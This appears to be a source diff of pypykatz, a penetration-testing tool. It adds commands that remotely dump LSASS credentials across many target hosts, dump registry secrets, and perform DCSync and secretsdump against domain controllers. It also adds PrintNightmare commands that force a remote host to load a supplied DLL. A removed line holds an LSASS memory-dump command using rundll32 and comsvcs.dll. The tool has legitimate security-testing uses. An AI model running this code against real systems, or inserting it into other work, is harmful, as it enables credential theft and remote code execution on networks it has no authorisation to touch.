130 | printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
131 | printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
132 | ||
133 | parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') | |
134 | parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
135 | parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
136 | parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
137 | parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
124 | 138 | |
125 | 139 | |
126 | 140 | |
127 | 141 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) |
128 | live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') | |
142 | live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.') | |
129 | 143 | live_smb_subparsers.required = True |
130 | 144 | live_smb_subparsers.dest = 'livesmbcommand' |
131 | 145 | |
132 | live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') | |
133 | live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
134 | live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
135 | live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
136 | live_console_parser.add_argument('host', help='Target host to connect to') | |
137 | live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
138 | ||
146 | live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') | |
147 | live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
148 | live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
149 | live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
150 | live_client_parser.add_argument('host', help='Target host to connect to') | |
151 | live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
152 | ||
153 | live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') | |
154 | live_lsassdump_group.add_argument('host', help='Target host to connect to') | |
155 | live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
156 | live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
157 | live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') | |
158 | live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
159 | live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
160 | live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
161 | live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
162 | live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
163 | live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
164 | live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
165 | live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
166 | ||
167 | live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') | |
168 | live_regsec_group.add_argument('host', help='Target host to connect to') | |
169 | live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
170 | live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
171 | live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
172 | live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
173 | live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
174 | live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") | |
175 | ||
176 | live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync') | |
177 | live_dcsync_group.add_argument('host', help='Target host to connect to') | |
178 | live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
179 | live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
180 | live_dcsync_group.add_argument('-u', '--username', help='taget username') | |
181 | live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') | |
182 | ||
183 | live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump') | |
184 | live_secretsdump_group.add_argument('host', help='Target host to connect to') | |
185 | live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
186 | live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
187 | live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
188 | live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
189 | live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
190 | live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
191 | live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
192 | live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
139 | 193 | |
140 | 194 | live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.') |
141 | 195 | live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') |
157 | 211 | live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') |
158 | 212 | live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') |
159 | 213 | |
214 | live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare') | |
215 | live_printnightmare_group.add_argument('host', help='Target host to connect to') | |
216 | live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
217 | live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
218 | live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
219 | ||
220 | live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') | |
221 | live_parprintnightmare_group.add_argument('host', help='Target host to connect to') | |
222 | live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
223 | live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
224 | live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
160 | 225 | |
161 | 226 | live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser]) |
162 | 227 | |
174 | 239 | raise Exception('Live commands only work on Windows!') |
175 | 240 | |
176 | 241 | from aiosmb import logger as smblog |
242 | from winacl.functions.highlevel import get_logon_info | |
243 | ||
244 | info = get_logon_info() | |
245 | if args.livesmbcommand != 'shareenum': | |
246 | smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
177 | 247 | |
178 | 248 | if args.verbose == 0: |
179 | 249 | smblog.setLevel(100) |
180 | 250 | elif args.verbose == 1: |
181 | smblog.setLevel(level=logging.INFO) | |
251 | smblog.setLevel(level=logger.INFO) | |
182 | 252 | else: |
183 | 253 | level = 5 - args.verbose |
184 | 254 | smblog.setLevel(level=level) |
185 | 255 | |
186 | if args.livesmbcommand == 'console': | |
256 | if args.livesmbcommand == 'client': | |
187 | 257 | from aiosmb.examples.smbclient import amain |
188 | from winacl.functions.highlevel import get_logon_info | |
189 | info = get_logon_info() | |
258 | ||
259 | ||
190 | 260 | la = SMBCMDArgs() |
191 | la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
261 | la.smb_url = smb_url | |
192 | 262 | la.verbose = args.verbose |
193 | 263 | |
194 | 264 | if args.commands is not None and len(args.commands) > 0: |
203 | 273 | la.commands.append(command) |
204 | 274 | |
205 | 275 | await amain(la) |
276 | ||
277 | ||
278 | elif args.livesmbcommand == 'lsassdump': | |
279 | from pypykatz.smb.lsassutils import lsassdump | |
280 | tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method) | |
281 | for tid, mimi, err in tmimis: | |
282 | if err is not None: | |
283 | print('ERROR: %s' % err) | |
284 | self.process_results({'smbfile':mimi}, [], args) | |
285 | ||
286 | elif args.livesmbcommand == 'secretsdump': | |
287 | from pypykatz.smb.lsassutils import lsassdump | |
288 | from pypykatz.smb.regutils import regdump | |
289 | from pypykatz.smb.dcsync import dcsync | |
290 | ||
291 | try: | |
292 | mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages) | |
293 | if mimi is not None: | |
294 | self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') | |
295 | except Exception as e: | |
296 | logger.exception('[SECRETSDUMP] Failed to get LSASS secrets') | |
297 | ||
298 | try: | |
299 | po = await regdump(smb_url) | |
300 | if po is not None: | |
301 | if args.outfile: | |
302 | po.to_file(args.outfile+'_registry.txt', args.json) | |
303 | else: | |
304 | if args.json: | |
305 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
306 | else: | |
307 | print(str(po)) | |
308 | except Exception as e: | |
309 | logger.exception('[SECRETSDUMP] Failed to get registry secrets') | |
310 | ||
311 | ||
312 | try: | |
313 | if args.outfile is not None: | |
314 | outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') | |
315 | ||
316 | async for secret in dcsync(smb_url): | |
317 | if args.outfile is not None: | |
318 | outfile.write(str(secret)) | |
319 | else: | |
320 | print(str(secret)) | |
321 | ||
322 | except Exception as e: | |
323 | logger.exception('[SECRETSDUMP] Failed to perform DCSYNC') | |
324 | finally: | |
325 | if args.outfile is not None: | |
326 | outfile.close() | |
327 | ||
328 | elif args.livesmbcommand == 'dcsync': | |
329 | from pypykatz.smb.dcsync import dcsync | |
330 | ||
331 | if args.outfile is not None: | |
332 | outfile = open(args.outfile, 'w', newline = '') | |
333 | ||
334 | async for secret in dcsync(smb_url, args.username): | |
335 | if args.outfile is not None: | |
336 | outfile.write(str(secret)) | |
337 | else: | |
338 | print(str(secret)) | |
339 | ||
340 | if args.outfile is not None: | |
341 | outfile.close() | |
342 | ||
343 | elif args.livesmbcommand == 'regdump': | |
344 | from pypykatz.smb.regutils import regdump | |
345 | po = await regdump(smb_url) | |
346 | ||
347 | if po is not None: | |
348 | if args.outfile: | |
349 | po.to_file(args.outfile, args.json) | |
350 | else: | |
351 | if args.json: | |
352 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
353 | else: | |
354 | print(str(po)) | |
355 | ||
356 | elif args.livesmbcommand == 'parprintnightmare': | |
357 | from pypykatz.smb.printer import parprintnightmare | |
358 | _, err = await parprintnightmare(smb_url, args.dllpath) | |
359 | if err is not None: | |
360 | print('Parprintnightmare failed! %s' % err) | |
361 | return | |
362 | print('Parprintnightmare OK!') | |
363 | ||
364 | elif args.livesmbcommand == 'printnightmare': | |
365 | from pypykatz.smb.printer import printnightmare | |
366 | _, err = await printnightmare(smb_url, args.dllpath) | |
367 | if err is not None: | |
368 | print('Printnightmare failed! %s' % err) | |
369 | return | |
370 | print('Printnightmare OK!') | |
206 | 371 | |
207 | 372 | elif args.livesmbcommand == 'shareenum': |
208 | 373 | from pypykatz.smb.shareenum import shareenum |
257 | 422 | if args.verbose == 0: |
258 | 423 | smblog.setLevel(100) |
259 | 424 | elif args.verbose == 1: |
260 | smblog.setLevel(level=logging.INFO) | |
425 | smblog.setLevel(level=logger.INFO) | |
261 | 426 | else: |
262 | 427 | level = 5 - args.verbose |
263 | 428 | smblog.setLevel(level=level) |
269 | 434 | |
270 | 435 | elif args.smb_module == 'lsassdump': |
271 | 436 | from pypykatz.smb.lsassutils import lsassdump |
272 | mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages) | |
273 | self.process_results({'smbfile':mimi}, [], args) | |
437 | async for tid, mimi, err in lsassdump( | |
438 | args.url, | |
439 | chunksize=args.chunksize, | |
440 | packages=args.packages, | |
441 | method = args.method, | |
442 | targets = args.target, | |
443 | worker_cnt = args.worker_count | |
444 | ): | |
445 | if err is not None: | |
446 | continue | |
447 | self.process_results({tid:mimi}, [], args) | |
274 | 448 | |
275 | 449 | elif args.smb_module == 'secretsdump': |
276 | 450 | from pypykatz.smb.lsassutils import lsassdump |
282 | 456 | if mimi is not None: |
283 | 457 | self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') |
284 | 458 | except Exception as e: |
285 | logging.exception('[SECRETSDUMP] Failed to get LSASS secrets') | |
459 | logger.exception('[SECRETSDUMP] Failed to get LSASS secrets') | |
286 | 460 | |
287 | 461 | try: |
288 | 462 | po = await regdump(args.url) |
295 | 469 | else: |
296 | 470 | print(str(po)) |
297 | 471 | except Exception as e: |
298 | logging.exception('[SECRETSDUMP] Failed to get registry secrets') | |
472 | logger.exception('[SECRETSDUMP] Failed to get registry secrets') | |
299 | 473 | |
300 | 474 | |
301 | 475 | try: |
309 | 483 | print(str(secret)) |
310 | 484 | |
311 | 485 | except Exception as e: |
312 | logging.exception('[SECRETSDUMP] Failed to perform DCSYNC') | |
486 | logger.exception('[SECRETSDUMP] Failed to perform DCSYNC') | |
313 | 487 | finally: |
314 | 488 | if args.outfile is not None: |
315 | 489 | outfile.close() |
331 | 505 | |
332 | 506 | elif args.smb_module == 'regdump': |
333 | 507 | from pypykatz.smb.regutils import regdump |
334 | po = await regdump(args.url) | |
335 | ||
336 | if po is not None: | |
337 | if args.outfile: | |
338 | po.to_file(args.outfile, args.json) | |
339 | else: | |
340 | if args.json: | |
341 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
342 | else: | |
343 | print(str(po)) | |
508 | async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count): | |
509 | if err is not None: | |
510 | if args.outfile: | |
511 | with open(args.outfile, 'a') as f: | |
512 | f.write('[%s][ERROR]%s' % (tid, str(err))) | |
513 | else: | |
514 | print('[%s][ERROR]%s' % (tid, str(err))) | |
515 | ||
516 | continue | |
517 | ||
518 | if po is not None: | |
519 | if args.outfile: | |
520 | po.to_file(args.outfile, args.json) | |
521 | else: | |
522 | if args.json: | |
523 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
524 | else: | |
525 | buffer = '' | |
526 | for line in str(po).split('\n'): | |
527 | buffer += '[%s] ' % tid | |
528 | buffer += line + '\r\n' | |
529 | print(buffer) | |
344 | 530 | |
345 | 531 | elif args.smb_module == 'regfile': |
346 | 532 | from pypykatz.smb.regutils import regfile |
388 | 574 | max_items = args.maxitems, |
389 | 575 | dirsd = args.dirsd, |
390 | 576 | filesd = args.filesd, |
391 | authmethod = args.authmethod, | |
392 | protocol_version = args.protocol_version, | |
393 | 577 | output_type = output_type, |
394 | 578 | max_runtime = args.max_runtime, |
395 | 579 | exclude_share = exclude_share, |
399 | 583 | ) |
400 | 584 | |
401 | 585 | |
402 | elif args.smb_module == 'console': | |
586 | elif args.smb_module == 'client': | |
403 | 587 | from aiosmb.examples.smbclient import amain |
404 | 588 | la = SMBCMDArgs() |
405 | 589 | la.smb_url = args.url |
416 | 600 | la.commands.append(command) |
417 | 601 | |
418 | 602 | await amain(la) |
603 | ||
604 | elif args.smb_module == 'printnightmare': | |
605 | from pypykatz.smb.printer import printnightmare | |
606 | _, err = await printnightmare(args.url, args.dllpath) | |
607 | if err is not None: | |
608 | print('Printnightmare failed! %s' % err) | |
609 | return | |
610 | print('Printnightmare OK!') | |
611 | ||
612 | elif args.smb_module == 'parprintnightmare': | |
613 | from pypykatz.smb.printer import parprintnightmare | |
614 | _, err = await parprintnightmare(args.url, args.dllpath) | |
615 | if err is not None: | |
616 | print('Parprintnightmare failed! %s' % err) | |
617 | return | |
618 | print('Parprintnightmare OK!') | |
419 | 619 | |
420 | 620 | def process_results(self, results, files_with_error, args, file_prefix = ''): |
421 | 621 | if args.outfile and args.json: |
422 | with open(args.outfile+file_prefix, 'w') as f: | |
622 | with open(args.outfile+file_prefix, 'a') as f: | |
423 | 623 | json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) |
424 | 624 | |
425 | 625 | elif args.outfile and args.grep: |
426 | with open(args.outfile+file_prefix, 'w', newline = '') as f: | |
427 | f.write(':'.join(LogonSession.grep_header) + '\r\n') | |
626 | with open(args.outfile+file_prefix, 'a', newline = '') as f: | |
627 | f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n') | |
428 | 628 | for result in results: |
429 | 629 | for luid in results[result].logon_sessions: |
430 | 630 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
431 | f.write(':'.join(row) + '\r\n') | |
631 | f.write(':'.join([result] + row) + '\r\n') | |
432 | 632 | |
433 | 633 | elif args.outfile: |
434 | with open(args.outfile+file_prefix, 'w') as f: | |
634 | with open(args.outfile+file_prefix, 'a') as f: | |
435 | 635 | for result in results: |
436 | 636 | f.write('FILE: ======== %s =======\n' % result) |
437 | 637 | |
452 | 652 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
453 | 653 | |
454 | 654 | elif args.grep: |
455 | print(':'.join(LogonSession.grep_header)) | |
655 | print(':'.join(['target'] + LogonSession.grep_header)) | |
456 | 656 | for result in results: |
457 | 657 | for luid in results[result].logon_sessions: |
458 | 658 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
459 | print(':'.join(row)) | |
659 | print(':'.join([result] + row)) | |
460 | 660 | for cred in results[result].orphaned_creds: |
461 | 661 | t = cred.to_dict() |
462 | 662 | if t['credtype'] != 'dpapi': |
463 | 663 | if t['password'] is not None: |
464 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
664 | x = [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
465 | 665 | print(':'.join(x)) |
466 | 666 | else: |
467 | 667 | t = cred.to_dict() |
468 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
668 | x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
469 | 669 | print(':'.join(x)) |
470 | 670 | |
471 | 671 | for pkg, err in results[result].errors: |
472 | 672 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
473 | 673 | err_str = base64.b64encode(err_str.encode()).decode() |
474 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
674 | x = [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
475 | 675 | print(':'.join(x) + '\r\n') |
476 | 676 | else: |
477 | 677 | for result in results: |
505 | 705 | |
506 | 706 | if args.kerberos_dir: |
507 | 707 | dir = os.path.abspath(args.kerberos_dir) |
508 | logging.info('Writing kerberos tickets to %s' % dir) | |
708 | logger.info('Writing kerberos tickets to %s' % dir) | |
509 | 709 | for filename in results: |
510 | 710 | base_filename = ntpath.basename(filename) |
511 | 711 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions |
0 | 0 | import asyncio |
1 | from pypykatz import logging | |
1 | from pypykatz import logger | |
2 | 2 | |
3 | 3 | async def dcsync(url, username = None): |
4 | from aiosmb.commons.connection.url import SMBConnectionURL | |
4 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
5 | 5 | from aiosmb.commons.interfaces.machine import SMBMachine |
6 | 6 | |
7 | smburl = SMBConnectionURL(url) | |
7 | smburl = SMBConnectionFactory.from_url(url) | |
8 | 8 | connection = smburl.get_connection() |
9 | 9 | |
10 | 10 | users = [] |
12 | 12 | users.append(username) |
13 | 13 | |
14 | 14 | async with connection: |
15 | logging.debug('[DCSYNC] Connecting to server...') | |
15 | logger.debug('[DCSYNC] Connecting to server...') | |
16 | 16 | _, err = await connection.login() |
17 | 17 | if err is not None: |
18 | 18 | raise err |
19 | 19 | |
20 | logging.debug('[DCSYNC] Connected to server!') | |
21 | logging.debug('[DCSYNC] Running...') | |
20 | logger.debug('[DCSYNC] Connected to server!') | |
21 | logger.debug('[DCSYNC] Running...') | |
22 | 22 | |
23 | 23 | i = 0 |
24 | 24 | async with SMBMachine(connection) as machine: |
27 | 27 | raise err |
28 | 28 | i += 1 |
29 | 29 | if i % 1000 == 0: |
30 | logging.debug('[DCSYNC] Running... %s' % i) | |
30 | logger.debug('[DCSYNC] Running... %s' % i) | |
31 | 31 | await asyncio.sleep(0) |
32 | 32 | yield secret |
33 | 33 | |
34 | logging.debug('[DCSYNC] Finished!') | |
34 | logger.debug('[DCSYNC] Finished!') | |
35 | 35 | ⏎ |
0 | 0 | import asyncio |
1 | 1 | import os |
2 | ||
3 | from pypykatz import logging | |
2 | import itertools | |
3 | ||
4 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen | |
5 | ||
6 | def natatime(n, iterable, fillvalue = None): | |
7 | """Returns an iterator yielding `n` elements at a time. | |
8 | :param n: the number of elements to return at each iteration | |
9 | :param iterable: the iterable over which to iterate | |
10 | :param fillvalue: the value to use for missing elements | |
11 | :Example: | |
12 | >>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"): | |
13 | ... print a, b, c | |
14 | ... | |
15 | 1 2 3 | |
16 | 4 5 ? | |
17 | """ | |
18 | stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) ) | |
19 | return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue) | |
20 | ||
21 | ||
22 | from pypykatz import logger | |
4 | 23 | |
5 | 24 | async def lsassfile(url, packages = ['all'], chunksize = 64*1024): |
6 | from aiosmb.commons.connection.url import SMBConnectionURL | |
25 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
7 | 26 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader |
8 | 27 | from pypykatz.apypykatz import apypykatz |
9 | 28 | |
10 | smburl = SMBConnectionURL(url) | |
29 | smburl = SMBConnectionFactory.from_url(url) | |
11 | 30 | connection = smburl.get_connection() |
12 | 31 | smbfile = smburl.get_file() |
13 | 32 | |
14 | 33 | async with connection: |
15 | logging.debug('[LSASSFILE] Connecting to server...') | |
34 | logger.debug('[LSASSFILE] Connecting to server...') | |
16 | 35 | _, err = await connection.login() |
17 | 36 | if err is not None: |
18 | 37 | raise err |
19 | 38 | |
20 | logging.debug('[LSASSFILE] Connected!') | |
21 | logging.debug('[LSASSFILE] Opening LSASS dump file...') | |
39 | logger.debug('[LSASSFILE] Connected!') | |
40 | logger.debug('[LSASSFILE] Opening LSASS dump file...') | |
22 | 41 | _, err = await smbfile.open(connection) |
23 | 42 | if err is not None: |
24 | 43 | raise err |
25 | 44 | |
26 | logging.debug('[LSASSFILE] LSASS file opened!') | |
27 | logging.debug('[LSASSFILE] parsing LSASS file...') | |
45 | logger.debug('[LSASSFILE] LSASS file opened!') | |
46 | logger.debug('[LSASSFILE] parsing LSASS file...') | |
28 | 47 | mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages) |
29 | logging.debug('[LSASSFILE] LSASS file parsed OK!') | |
48 | logger.debug('[LSASSFILE] LSASS file parsed OK!') | |
30 | 49 | return mimi |
31 | 50 | |
32 | async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): | |
33 | from aiosmb.commons.exceptions import SMBException | |
34 | from aiosmb.wintypes.ntstatus import NTStatus | |
35 | from aiosmb.commons.connection.url import SMBConnectionURL | |
36 | from aiosmb.commons.interfaces.machine import SMBMachine | |
37 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
38 | from aiosmb.commons.interfaces.file import SMBFile | |
39 | from pypykatz.apypykatz import apypykatz | |
40 | ||
41 | smburl = SMBConnectionURL(url) | |
42 | connection = smburl.get_connection() | |
43 | ||
44 | if remote_base_path.endswith('\\') is False: | |
45 | remote_base_path += '\\' | |
46 | ||
47 | if remote_share_name.endswith('\\') is False: | |
48 | remote_share_name += '\\' | |
49 | ||
50 | fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) | |
51 | filepath = remote_base_path + fname | |
52 | filesharepath = remote_share_name + fname | |
51 | async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5): | |
52 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
53 | base_url = None | |
54 | base_conn = None | |
55 | mimis = [] | |
56 | workers = [] | |
57 | ||
58 | tgens = [] | |
59 | if targets is not None and len(targets) != 0: | |
60 | notfile = [] | |
61 | if targets is not None: | |
62 | for target in targets: | |
63 | try: | |
64 | f = open(target, 'r') | |
65 | f.close() | |
66 | tgens.append(FileTargetGen(target)) | |
67 | except: | |
68 | notfile.append(target) | |
69 | ||
70 | if len(notfile) > 0: | |
71 | tgens.append(ListTargetGen(notfile)) | |
72 | ||
73 | if isinstance(url, SMBConnectionFactory): | |
74 | base_url = url | |
75 | base_conn = url.get_connection() | |
76 | else: | |
77 | base_url = SMBConnectionFactory.from_url(url) | |
78 | base_conn = base_url.get_connection() | |
53 | 79 | |
54 | if method == 'taskexec': | |
55 | cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) | |
56 | commands = [cmd] | |
80 | lsassdump_coro = lsassdump_single( | |
81 | base_conn.target.get_hostname_or_ip(), | |
82 | base_conn, | |
83 | method = method, | |
84 | remote_base_path = remote_base_path, | |
85 | remote_share_name = remote_share_name, | |
86 | chunksize = chunksize, | |
87 | packages = packages | |
88 | ) | |
89 | workers.append(lsassdump_coro) | |
90 | ||
91 | for tgen in tgens: | |
92 | async for _, target, err in tgen.generate(): | |
93 | tconn = base_url.create_connection_newtarget(target) | |
94 | lsassdump_coro = lsassdump_single( | |
95 | tconn.target.get_hostname_or_ip(), | |
96 | tconn, | |
97 | method = method, | |
98 | remote_base_path = remote_base_path, | |
99 | remote_share_name = remote_share_name, | |
100 | chunksize = chunksize, | |
101 | packages = packages | |
102 | ) | |
103 | workers.append(lsassdump_coro) | |
104 | if len(workers) >= worker_cnt: | |
105 | tres = await asyncio.gather(*workers) | |
106 | for res in tres: | |
107 | yield res | |
108 | workers = [] | |
